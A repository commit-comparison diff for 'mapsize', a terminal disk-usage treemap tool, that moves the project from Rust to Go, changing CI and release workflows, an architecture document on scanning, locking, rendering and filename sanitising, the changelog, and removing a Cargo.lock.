Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
47b8847ac1 | ||
|
|
1387e52064 | ||
|
|
68e6a07cdd | ||
|
|
0fa49c662c |
@@ -1,16 +0,0 @@
|
||||
name: cross-tools
|
||||
description: Rust targets, zig, cargo-zigbuild and cross for scripts/build.sh
|
||||
runs:
|
||||
using: composite
|
||||
steps:
|
||||
- shell: bash
|
||||
run: |
|
||||
rustup target add x86_64-unknown-linux-musl aarch64-unknown-linux-musl i686-unknown-linux-musl \
|
||||
armv7-unknown-linux-musleabihf riscv64gc-unknown-linux-musl x86_64-pc-windows-gnu \
|
||||
aarch64-pc-windows-gnullvm x86_64-unknown-freebsd x86_64-unknown-netbsd
|
||||
curl -sSLo zig.tar.xz https://ziglang.org/download/0.16.0/zig-x86_64-linux-0.16.0.tar.xz
|
||||
echo "70e49664a74374b48b51e6f3fdfbf437f6395d42509050588bd49abe52ba3d00 zig.tar.xz" | sha256sum -c
|
||||
mkdir -p "$HOME/zig" && tar -xJf zig.tar.xz -C "$HOME/zig" --strip-components=1 && rm zig.tar.xz
|
||||
echo "$HOME/zig" >>"$GITHUB_PATH"
|
||||
cargo install cargo-zigbuild --version 0.23.4 --locked
|
||||
cargo install cross --version 0.2.5 --locked
|
||||
+17
-28
@@ -2,40 +2,29 @@ name: ci
|
||||
on:
|
||||
push:
|
||||
pull_request:
|
||||
permissions:
|
||||
contents: read
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
jobs:
|
||||
lint:
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- run: rustup component add rustfmt clippy
|
||||
- run: cargo fmt --check
|
||||
- run: cargo clippy --locked --all-targets -- -D warnings
|
||||
|
||||
test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-24.04, ubuntu-24.04-arm, macos-15, macos-15-intel, windows-2025]
|
||||
os: [ubuntu-latest, macos-latest, windows-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- run: cargo test --release --locked --all-targets
|
||||
- run: cargo run --release --locked -- --no-ui .
|
||||
|
||||
cross:
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- uses: ./.github/actions/cross-tools
|
||||
- name: every target but macOS (built natively by the test job)
|
||||
run: TARGETS="linux/amd64 linux/arm64 linux/386 linux/arm linux/riscv64 windows/amd64 windows/arm64 freebsd/amd64 netbsd/amd64" scripts/build.sh
|
||||
- name: static binaries run under qemu
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
- name: format
|
||||
if: runner.os == 'Linux'
|
||||
run: test -z "$(gofmt -l .)"
|
||||
- run: go vet ./...
|
||||
- run: go test ./...
|
||||
- name: race
|
||||
if: runner.os != 'Windows'
|
||||
run: go test -race ./...
|
||||
- name: cross-build
|
||||
if: runner.os == 'Linux'
|
||||
run: |
|
||||
sudo apt-get update -q && sudo apt-get install -yq qemu-user
|
||||
for t in "arm64 qemu-aarch64" "arm qemu-arm" "riscv64 qemu-riscv64"; do
|
||||
${t#* } dist/mapsize-linux-${t%% *} --no-ui src >/dev/null
|
||||
for t in linux/arm64 linux/386 darwin/arm64 windows/amd64 freebsd/amd64; do
|
||||
GOOS=${t%/*} GOARCH=${t#*/} CGO_ENABLED=0 go build -o /dev/null ./cmd/mapsize
|
||||
done
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
# On a version tag: build every target, package, and publish a GitHub
|
||||
# release whose notes are the tag's CHANGELOG.md section.
|
||||
name: release
|
||||
on:
|
||||
push:
|
||||
tags: ["v*"]
|
||||
permissions:
|
||||
contents: read
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
jobs:
|
||||
build-cross:
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- uses: ./.github/actions/cross-tools
|
||||
- run: TARGETS="linux/amd64 linux/arm64 linux/386 linux/arm linux/riscv64 windows/amd64 windows/arm64 freebsd/amd64 netbsd/amd64" scripts/build.sh
|
||||
- uses: actions/upload-artifact@v4
|
||||
with: {name: bin-cross, path: dist/mapsize-*}
|
||||
|
||||
build-macos:
|
||||
runs-on: macos-15
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- run: rustup target add x86_64-apple-darwin aarch64-apple-darwin
|
||||
- run: TARGETS="darwin/amd64 darwin/arm64" scripts/build.sh
|
||||
- uses: actions/upload-artifact@v4
|
||||
with: {name: bin-macos, path: dist/mapsize-*}
|
||||
|
||||
publish:
|
||||
needs: [build-cross, build-macos]
|
||||
runs-on: ubuntu-24.04
|
||||
permissions:
|
||||
contents: write
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
- uses: actions/download-artifact@v4
|
||||
with: {path: dist, merge-multiple: true}
|
||||
- run: scripts/release.sh "$GITHUB_REF_NAME" dist dist/release
|
||||
- name: release
|
||||
env:
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
run: |
|
||||
v=${GITHUB_REF_NAME#v}
|
||||
awk -v h="## $v" 'index($0, h) == 1 {f=1; next} /^## /{f=0} f' CHANGELOG.md >notes.md
|
||||
gh release create "$GITHUB_REF_NAME" --title "$GITHUB_REF_NAME" --notes-file notes.md dist/release/*
|
||||
+3
-3
@@ -1,5 +1,5 @@
|
||||
/target
|
||||
/dist
|
||||
bin/
|
||||
*.msz
|
||||
!src/snapshot/testdata/*.msz
|
||||
*.prof
|
||||
*.test
|
||||
/mapsize
|
||||
|
||||
+72
-102
@@ -5,40 +5,36 @@ part relies on. It is kept in sync with the code; if they disagree, the code
|
||||
is wrong or this file is stale — fix one of them.
|
||||
|
||||
```
|
||||
src/main.rs CLI entry point, flag parsing
|
||||
src/app.rs mode selection: TUI, reports, snapshots, comparison
|
||||
src/brand.rs product name / file extensions (rename in one place)
|
||||
src/inventory/ flat node store, aggregation, indexes, categories
|
||||
src/scan.rs bounded concurrent scanner (controller + workers)
|
||||
src/cancel.rs cancellation token shared by scans and background work
|
||||
src/platform.rs OS-specific metadata and file operations (cfg blocks)
|
||||
src/treemap/ squarified layout, LOD, spatial navigation (pure geometry)
|
||||
src/filter/ query lexer / parser / evaluator
|
||||
src/snapshot/ versioned binary snapshot format + comparison
|
||||
src/duplicate.rs staged duplicate detection
|
||||
src/export.rs JSON / CSV / text reports
|
||||
src/config.rs settings, themes, JSON config file
|
||||
src/tui/ event loop, model, canvas renderer, views, modals
|
||||
src/textutil.rs display sanitising, width-aware truncation, units
|
||||
examples/treegen synthetic test-tree generator
|
||||
examples/bench in-process benchmarks
|
||||
cmd/mapsize CLI entry point, flag parsing, mode selection
|
||||
cmd/treegen synthetic test-tree generator
|
||||
internal/brand product name / file extensions (rename in one place)
|
||||
internal/inventory flat node store, aggregation, indexes, categories
|
||||
internal/scan bounded concurrent scanner (controller + workers)
|
||||
internal/platform OS-specific metadata (build-tagged files)
|
||||
internal/treemap squarified layout, LOD, spatial navigation (pure geometry)
|
||||
internal/filter query lexer / parser / evaluator
|
||||
internal/snapshot versioned binary snapshot format + comparison
|
||||
internal/duplicate staged duplicate detection
|
||||
internal/export JSON / CSV / text reports
|
||||
internal/config settings, themes, JSON config file
|
||||
internal/tui Bubble Tea model, canvas renderer, views, modals
|
||||
internal/textutil display sanitising, width-aware truncation, units
|
||||
```
|
||||
|
||||
Dependency direction is strictly downward: `tui` → (`treemap`, `filter`,
|
||||
`inventory`, `scan`, …); `scan` → (`inventory`, `platform`); `treemap` depends
|
||||
on nothing but the standard library. The terminal library (crossterm) is only
|
||||
used by `tui`.
|
||||
on nothing but the standard library. The TUI framework (Bubble Tea v2) is only
|
||||
imported by `internal/tui` and `cmd/mapsize`.
|
||||
|
||||
## Inventory representation
|
||||
|
||||
`inventory.Tree` is an append-only arena of `Node` records addressed by
|
||||
`NodeId` (`u32`). Nodes are stored in fixed-size chunks
|
||||
(`Vec<Vec<Node>>`, 65 536 nodes per chunk), so growing the arena never copies or
|
||||
`NodeID` (`uint32`). Nodes are stored in fixed-size chunks
|
||||
(`[][]Node`, 65 536 nodes per chunk), so growing the arena never copies or
|
||||
moves existing nodes and peak memory never doubles during growth.
|
||||
|
||||
A node holds: parent ID, first-child / next-sibling IDs (an intrusive child
|
||||
list — no per-directory vectors), name (the single path component as raw
|
||||
bytes, not the full
|
||||
list — no per-directory slices), name (the single path component, not the full
|
||||
path), kind, flags, own logical size, own allocated size, mtime, mode,
|
||||
uid/gid, link count, and aggregates (total logical, total allocated, file
|
||||
count, directory count, error count). Directory-only data — per-category byte
|
||||
@@ -46,7 +42,7 @@ totals used for colouring — lives in a side table indexed by a directory index
|
||||
so files do not pay for it.
|
||||
|
||||
Full paths are never stored; `Tree.Path(id)` walks parents. Extensions are
|
||||
interned into a small table and stored as a `u16`. All sizes are `i64`.
|
||||
interned into a small table and stored as a `uint16`. All sizes are `int64`.
|
||||
|
||||
Node IDs are stable for the lifetime of a `Tree`: nodes are never removed or
|
||||
reordered. A rescan produces a new `Tree`. This is what makes selection
|
||||
@@ -55,11 +51,11 @@ persistence trivial (see below).
|
||||
## Scanner worker architecture
|
||||
|
||||
```
|
||||
+------------------ controller thread ---------------------+
|
||||
+------------------ controller goroutine ------------------+
|
||||
| owns: Tree (write lock), pending FIFO of dir NodeIDs, |
|
||||
| hard-link table, visited-dir table |
|
||||
+----------------------------------------------------------+
|
||||
| jobs (bounded channel, cap = workers*2) ^ results (bounded channel)
|
||||
| jobs (bounded chan, cap = workers*2) ^ results (bounded chan)
|
||||
v |
|
||||
worker 1 .. worker N (fixed pool, N from --workers / mode)
|
||||
```
|
||||
@@ -81,9 +77,9 @@ while the only consumer of that queue is also blocked. mapsize avoids it by
|
||||
construction:
|
||||
|
||||
* Only the controller produces jobs. Workers only produce *results*.
|
||||
* The controller's main loop is a single `crossbeam_channel::Select` that
|
||||
simultaneously offers the next pending job to the bounded `jobs` channel
|
||||
*and* receives from the bounded `results` channel. It never performs a blocking send without also
|
||||
* The controller's main loop is a single `select` that simultaneously offers
|
||||
the next pending job to the bounded `jobs` channel *and* receives from the
|
||||
bounded `results` channel. It never performs a blocking send without also
|
||||
being ready to receive. Therefore a worker blocked on `results <-` is always
|
||||
eventually served, and the controller is never blocked on `jobs <-` alone.
|
||||
* Discovered-but-unscheduled directories wait in the controller's pending FIFO
|
||||
@@ -98,12 +94,11 @@ directory with 5 M entries neither balloons worker memory nor stalls the UI.
|
||||
|
||||
Completion: the controller tracks `inflight` (dispatched directories whose
|
||||
final chunk has not arrived). The scan is finished when `pending` is empty and
|
||||
`inflight == 0`. Cancellation (`cancel::Cancel`, which the controller also
|
||||
selects on) stops dispatch immediately; workers check the token between
|
||||
chunks, and the controller drains outstanding results and joins every
|
||||
worker, so no thread leaks.
|
||||
`inflight == 0`. Cancellation (`context.Context`) stops dispatch immediately;
|
||||
workers check the context between chunks and between entries, and the
|
||||
controller drains outstanding results so no goroutine leaks.
|
||||
|
||||
Stress tests (`scan::tests`) run with 1 worker and job/result
|
||||
Stress tests (`internal/scan/scan_test.go`) run with 1 worker and job/result
|
||||
channel capacity 1 over trees with thousands of directories to prove progress
|
||||
under maximum backpressure.
|
||||
|
||||
@@ -117,27 +112,26 @@ for a 1 M-file tree at depth 20 that is ~20 K ancestor updates instead of
|
||||
~20 M. There is no reconciliation pass: totals are exact at every moment for
|
||||
the data seen so far.
|
||||
|
||||
The tree is shared as `Arc<RwLock<Tree>>`. The UI reads it under the read
|
||||
lock; the controller applies batches of results under the write lock, holding it for at most a few milliseconds (it
|
||||
The UI reads the tree under `Tree.RLock`; the controller applies batches of
|
||||
results under `Tree.Lock`, holding it for at most a few milliseconds (it
|
||||
releases the lock between batches). This is the only lock in the data path.
|
||||
|
||||
**Concurrency invariants**
|
||||
|
||||
1. Only the scan controller (or a snapshot loader before publication) mutates
|
||||
a `Tree`.
|
||||
2. Every read of `Tree` node data from another thread holds the read lock.
|
||||
2. Every read of `Tree` node data from another goroutine holds `RLock`.
|
||||
3. Nodes are never deleted; a `NodeID` once observed stays valid.
|
||||
4. Workers share nothing mutable except the bounded channels and atomic
|
||||
progress counters.
|
||||
5. No thread ever takes the read lock while already holding it. The
|
||||
standard `RwLock` may block new readers once a writer waits, so a
|
||||
recursive read lock can deadlock against the scan controller. The TUI
|
||||
takes the lock once per entry point (render, key and mouse handlers) and
|
||||
passes `&Tree` to the helpers it calls. Background tasks (filter,
|
||||
duplicates, snapshot save) take their own lock on their own thread.
|
||||
6. After a scan finishes, the UI thread may become the writer (move to
|
||||
trash updates aggregates under the write lock). Trash is refused while
|
||||
scanning.
|
||||
5. No goroutine ever takes `RLock` while already holding it. Go's
|
||||
`RWMutex` blocks new readers once a writer waits, so a recursive read
|
||||
lock can deadlock against the scan controller. The TUI takes the lock
|
||||
once per entry point (`View`, `handleKey`, mouse handlers); helpers they
|
||||
call assume it is held. Background commands (filter, duplicates,
|
||||
snapshot save) take their own lock on their own goroutine.
|
||||
6. After a scan finishes, the UI goroutine may become the writer (move to
|
||||
trash updates aggregates under `Lock`). Trash is refused while scanning.
|
||||
|
||||
## Hard links and sizes
|
||||
|
||||
@@ -172,41 +166,31 @@ releases the lock between batches). This is the only lock in the data path.
|
||||
## TUI event flow
|
||||
|
||||
```
|
||||
scan controller ──(applies under write lock)──> Tree
|
||||
scan controller ──(applies under Lock)──> Tree
|
||||
│ atomic progress counters
|
||||
▼
|
||||
tick (10 Hz while scanning) ─────┐
|
||||
crossterm events (input thread) ─┼─> select ─> Model::update ─> state change ─> frame dirty
|
||||
background task results ─────────┘
|
||||
render: if dirty → read-lock tree → layout (if layout dirty) → paint canvas → write changed lines
|
||||
tea.Tick (10 Hz while scanning) ──> tickMsg ──> Update marks frame dirty
|
||||
key/mouse/resize ──> Update ──> state change ──> frame dirty
|
||||
View(): if dirty → RLock tree → layout (if layout dirty) → paint canvas → string
|
||||
```
|
||||
|
||||
`tui::run` puts the terminal in raw mode on the alternate screen and selects
|
||||
over three crossbeam channels: terminal events from a dedicated input thread,
|
||||
a timer tick, and messages from background tasks (filter, duplicates,
|
||||
snapshot save, scan done). There is never one message per file: the scanner
|
||||
does not talk to the UI at all except for the scan-done notification. The UI
|
||||
polls its progress counters at a fixed rate.
|
||||
There is never one message per file: the scanner does not talk to the UI at
|
||||
all except for a single `scanDoneMsg`. The UI polls at a fixed rate.
|
||||
|
||||
The model caches the rendered frame and only repaints when something
|
||||
visible changed; several updates in a row cost at most one render.
|
||||
`View()` is called by Bubble Tea after *every* `Update`. The model therefore
|
||||
caches the rendered frame and only repaints when something visible changed.
|
||||
|
||||
Expensive per-directory work (sorting children by size) is cached per data
|
||||
version. During a scan the version advances at most every 400 ms, so the
|
||||
layout does not jitter at frame rate even though labels and counters update
|
||||
at the 10 Hz refresh.
|
||||
|
||||
A panic hook restores the terminal (leaves the alternate screen, disables
|
||||
raw mode and mouse reporting) before the panic is reported; SIGTERM quits
|
||||
cleanly.
|
||||
|
||||
## Rendering: the canvas
|
||||
|
||||
All drawing goes to an in-memory `Canvas` of cells (grapheme, fg, bg, attrs).
|
||||
Views and modals paint into the canvas; the canvas is serialised with minimal
|
||||
SGR changes, converted to the detected colour profile (truecolour / 256 / 16 /
|
||||
none), and only the changed span of each changed line is written, inside a
|
||||
synchronized-output block where the terminal supports it. The drawing code
|
||||
Views and modals paint into the canvas; the canvas is serialised to a string
|
||||
with minimal SGR changes. Bubble Tea's renderer diffs frames and downsamples
|
||||
true-colour to the detected profile (256 / 16 / none), so the drawing code
|
||||
uses RGB throughout. For 256-colour terminals the canvas quantizes colours
|
||||
itself (redmean distance over the 6×6×6 cube and grey ramp, never the
|
||||
palette-dependent first 16 entries): the stock conversion maps dark tints to
|
||||
@@ -242,7 +226,7 @@ visible. Groups are selectable and inspectable.
|
||||
|
||||
## Spatial navigation algorithm
|
||||
|
||||
`treemap::neighbour(blocks, selected, dir)` is pure geometry:
|
||||
`treemap.Neighbour(rects, selected, dir)` is pure geometry:
|
||||
|
||||
1. Candidates must lie in the requested half-plane: for RIGHT, `c.X ≥
|
||||
sel.X + sel.W − tolerance` (with the candidate's centre to the right of the
|
||||
@@ -257,18 +241,18 @@ visible. Groups are selectable and inspectable.
|
||||
|
||||
## Terminal resize architecture
|
||||
|
||||
A resize event only records the new size and marks layout dirty. The next
|
||||
render recomputes panel geometry for the new size class (large / medium /
|
||||
`tea.WindowSizeMsg` only records the new size and marks layout dirty. The next
|
||||
`View()` recomputes panel geometry for the new size class (large / medium /
|
||||
small / too-small), reruns the treemap layout for the new treemap rectangle
|
||||
(never stretches old coordinates), and repaints. Because work happens only
|
||||
at render time and the frame cache absorbs repeated calls, a storm of resize events
|
||||
(never stretches old coordinates), and repaints. Because work happens only in
|
||||
`View()` and the frame cache absorbs repeated calls, a storm of resize events
|
||||
costs at most one layout per rendered frame. Modal geometry is derived from
|
||||
the current size every frame, clamped to the screen, and becomes scrollable
|
||||
when content does not fit.
|
||||
|
||||
## Selection persistence
|
||||
|
||||
Selection is a `NodeId` (or, for the synthetic LOD group, `-1 - parent`).
|
||||
Selection is a `NodeID` (or, for the synthetic LOD group, `-1 - parentID`).
|
||||
Until the user moves the selection it follows the largest block, which
|
||||
changes while a scan runs; after that it is sticky. After any relayout the renderer looks the ID up in the
|
||||
new rectangle list. If it is absent (filtered out, collapsed into a group,
|
||||
@@ -277,42 +261,32 @@ nearest visible ancestor, then the largest block.
|
||||
|
||||
## Modal architecture
|
||||
|
||||
A modal is a small trait: `title()`, `content(width)`, `footer()`, and
|
||||
`key`. A generic frame renders any modal centred, clamped to the screen
|
||||
A modal is a small interface: `Title()`, `Lines(width)`, `Footer()`, and
|
||||
`HandleKey`. A generic frame renders any modal centred, clamped to the screen
|
||||
(min 1-cell margin), with a scrollable viewport when content exceeds height.
|
||||
The base screen is dimmed before the modal is painted. While a modal is open
|
||||
it receives all keys; `Esc` always closes it.
|
||||
|
||||
## OS abstraction
|
||||
|
||||
`platform` exposes `read_dir(path, chunk, |entries| …)`, `stat`/`lstat`,
|
||||
`Meta`, trash, delete, reveal and name lookups. `platform/unix.rs` and
|
||||
`platform/windows.rs` hold the implementations:
|
||||
`internal/platform` exposes `ReadDir(path, func(chunk []Entry) error)` and
|
||||
`Meta` structs. Implementations:
|
||||
|
||||
* Linux — `readdir` on an `O_DIRECTORY` descriptor + `statx` (via the raw
|
||||
system call, so static musl builds work) relative to that descriptor: one
|
||||
system call per entry, birth time included; `fstatat` if the kernel lacks
|
||||
`statx`. Virtual filesystems are detected with `statfs`. freedesktop.org
|
||||
trash; `xdg-open` reveals.
|
||||
* macOS, FreeBSD, NetBSD — the same descriptor-relative walk with
|
||||
`fstatat`. macOS moves items to `~/.Trash` (or the volume's `.Trashes`)
|
||||
and reveals with `open -R`; the BSDs have no trash or reveal, so `d` is
|
||||
only offered as a permanent delete when headless.
|
||||
* Windows — `std::fs::read_dir` and metadata. Allocated size is reported as
|
||||
unknown and there is no inode identity, so hard links are not
|
||||
deduplicated and symlinks and junctions are never followed. The Recycle
|
||||
Bin (`SHFileOperationW`) and `explorer /select,` reveal; permanent delete
|
||||
is not offered.
|
||||
* `readdir_linux.go` — `getdents` via `os.File.ReadDir` + `statx` relative to
|
||||
the directory fd (one syscall per entry, gives birth time).
|
||||
* `readdir_unix.go` — darwin/BSD: `fstatat` relative to the directory fd.
|
||||
* `readdir_windows.go` — `os.File.ReadDir` + `Lstat`; reparse points
|
||||
(junctions, symlinks) are never descended by default.
|
||||
* `fs_*.go` — virtual-filesystem detection, owner name lookup.
|
||||
|
||||
The terminal code has the only other `cfg` blocks (signals and writing the
|
||||
restore sequence).
|
||||
No other package switches on `runtime.GOOS`.
|
||||
|
||||
## Security handling for hostile filenames
|
||||
|
||||
Filenames and snapshot contents are untrusted.
|
||||
|
||||
* Every string that reaches the terminal passes through
|
||||
`textutil::sanitize`, which replaces C0/C1 control characters (including
|
||||
`textutil.Sanitize`, which replaces C0/C1 control characters (including
|
||||
ESC, CSI, BEL, DEL) with visible escapes (`\x1b`), replaces invalid UTF-8
|
||||
with U+FFFD, and neutralises bidi override characters. The canvas also
|
||||
refuses control characters as a second line of defence. Internal names keep
|
||||
@@ -322,13 +296,9 @@ Filenames and snapshot contents are untrusted.
|
||||
* Snapshot decoding validates magic, version, every length, every parent
|
||||
reference (a parent must precede its child, so cycles are impossible),
|
||||
depth (≤ 4096 levels, bounding recursion in exporters), per-node sizes
|
||||
(≤ 1 EiB) and node count (at most one node per byte of snapshot file, 1 Mi floor); caps the decompressed body at 64× the file size
|
||||
(≤ 1 EiB) and node count; caps the decompressed body at 64× the file size
|
||||
(decompression bombs fail fast); and verifies a SHA-256 trailer.
|
||||
Aggregates are recomputed with saturating arithmetic rather than trusted.
|
||||
* No shell is ever invoked. "Open/reveal" and trash use `std::process::Command`
|
||||
with argument vectors or native APIs; paths are passed as single arguments.
|
||||
* Permanent delete (headless only) checks the item's owner and type against
|
||||
the scan and removes it through descriptors opened from the parent
|
||||
directory without following symlinks (`openat`/`unlinkat` with
|
||||
`O_NOFOLLOW`), so a symlink swapped in since the scan cannot redirect it.
|
||||
* No shell is ever invoked. "Open/reveal" and trash use direct `exec` with
|
||||
argument vectors or native APIs; paths are passed as single arguments.
|
||||
* `--read-only` disables every mutating action in the UI.
|
||||
|
||||
@@ -1,45 +1,5 @@
|
||||
# Changelog
|
||||
|
||||
## 2.0.0 — 2026-10-09
|
||||
|
||||
### Changed
|
||||
- Rewritten in Rust. Flags, keys, views, themes, the configuration file and
|
||||
the snapshot format are unchanged: snapshots from earlier releases open as
|
||||
before, and older releases open new ones. Measured against 1.2.0 on the
|
||||
same machine, scans are about 1.3× faster with a third less memory, cold
|
||||
treemap frames about 3× faster, and filters up to 1.8× faster (see
|
||||
PERFORMANCE.md).
|
||||
- Release builds: Linux (x86-64, ARM64, 32-bit x86, ARMv7, RISC-V 64),
|
||||
macOS (Intel, Apple silicon), Windows (x86-64, ARM64), FreeBSD and NetBSD
|
||||
(x86-64), built and published by CI. OpenBSD and FreeBSD/ARM64 builds are
|
||||
no longer produced.
|
||||
- `--log` and `--log-level` are accepted but no log is written yet;
|
||||
`--cpuprofile` and `--memprofile` are removed.
|
||||
- Install from source with `cargo install`; the Homebrew formula builds with
|
||||
Rust.
|
||||
|
||||
### Fixed
|
||||
- A search containing certain non-ASCII text (for example `voilà`) no longer
|
||||
hangs.
|
||||
|
||||
## 1.2.0 — 2026-10-03
|
||||
|
||||
### Changed
|
||||
- On a headless Linux or BSD system (no `DISPLAY` or `WAYLAND_DISPLAY`), `d`
|
||||
deletes permanently after an "are you sure" confirmation instead of moving
|
||||
to a trash nobody empties, and `o` shows the folder in the map instead of
|
||||
trying to open a file manager. Desktop sessions, macOS and Windows still
|
||||
use the trash and the file manager.
|
||||
|
||||
## 1.1.0 — 2026-10-03
|
||||
|
||||
### Fixed
|
||||
- Map: folders that contain a single subfolder (`mnt/raid/media/`) now
|
||||
collapse into one label instead of each taking a nesting level, so the
|
||||
map at `/` reaches the shows, seasons and individual files. Nesting goes as
|
||||
deep as the block sizes allow (previously a fixed 3 levels), and nested
|
||||
blocks show their size and percentage of their parent folder.
|
||||
|
||||
## 1.0.0 — 2026-10-02
|
||||
|
||||
First stable release. The snapshot format (version 1) is now stable: later
|
||||
|
||||
Generated
-590
@@ -1,590 +0,0 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "adler2"
|
||||
version = "2.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
|
||||
|
||||
[[package]]
|
||||
name = "aho-corasick"
|
||||
version = "1.1.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c982642fa9e8606056828ee9a8505737230110bb1099153c79efe865c59d12ba"
|
||||
dependencies = [
|
||||
"memchr",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "2.13.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3ded4057c258ba199e2d26386d3af3780957ecaee6c4ef4041c6b4b8b97c0b06"
|
||||
|
||||
[[package]]
|
||||
name = "block-buffer"
|
||||
version = "0.10.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4e7648175b45a9a48536d676f68d918270699102aa8dab5496df06904c914600"
|
||||
|
||||
[[package]]
|
||||
name = "cpufeatures"
|
||||
version = "0.2.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "crc32fast"
|
||||
version = "1.5.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "01a7799fd6b852db0e61728dde9a204c423b44d689dbd432522543614b490e78"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "crossbeam-channel"
|
||||
version = "0.5.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "98b0cc327b5bc766e7fda9c9260cc0fa81b43a8e240440422dff70788e3f9ef1"
|
||||
dependencies = [
|
||||
"crossbeam-utils",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "crossbeam-utils"
|
||||
version = "0.8.23"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a31eee39dddec8330830986fcd7625edb5a24ec90ea038215273bbc3adb08ac6"
|
||||
|
||||
[[package]]
|
||||
name = "crossterm"
|
||||
version = "0.28.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "829d955a0bb380ef178a640b91779e3987da38c9aea133b20614cfed8cdea9c6"
|
||||
dependencies = [
|
||||
"bitflags",
|
||||
"crossterm_winapi",
|
||||
"mio",
|
||||
"parking_lot",
|
||||
"rustix",
|
||||
"signal-hook",
|
||||
"signal-hook-mio",
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "crossterm_winapi"
|
||||
version = "0.9.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "acdd7c62a3665c7f6830a51635d9ac9b23ed385797f70a83bb8bafe9c572ab2b"
|
||||
dependencies = [
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "crypto-common"
|
||||
version = "0.1.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
"typenum",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "digest"
|
||||
version = "0.10.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
|
||||
dependencies = [
|
||||
"block-buffer",
|
||||
"crypto-common",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "errno"
|
||||
version = "0.3.14"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"windows-sys 0.61.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "flate2"
|
||||
version = "1.1.10"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6e634e2e0ebac1ee034020da1ca582e17ffe4e0f5e985823721e168928136dcb"
|
||||
dependencies = [
|
||||
"crc32fast",
|
||||
"miniz_oxide",
|
||||
"zlib-rs",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "generic-array"
|
||||
version = "0.14.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
|
||||
dependencies = [
|
||||
"typenum",
|
||||
"version_check",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "itoa"
|
||||
version = "1.0.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.190"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ce5d3ddc6d3fa000eb1536d85e147bfe31aacaba692ed6a876f95cb7c855be78"
|
||||
|
||||
[[package]]
|
||||
name = "linux-raw-sys"
|
||||
version = "0.4.15"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab"
|
||||
|
||||
[[package]]
|
||||
name = "lock_api"
|
||||
version = "0.4.14"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
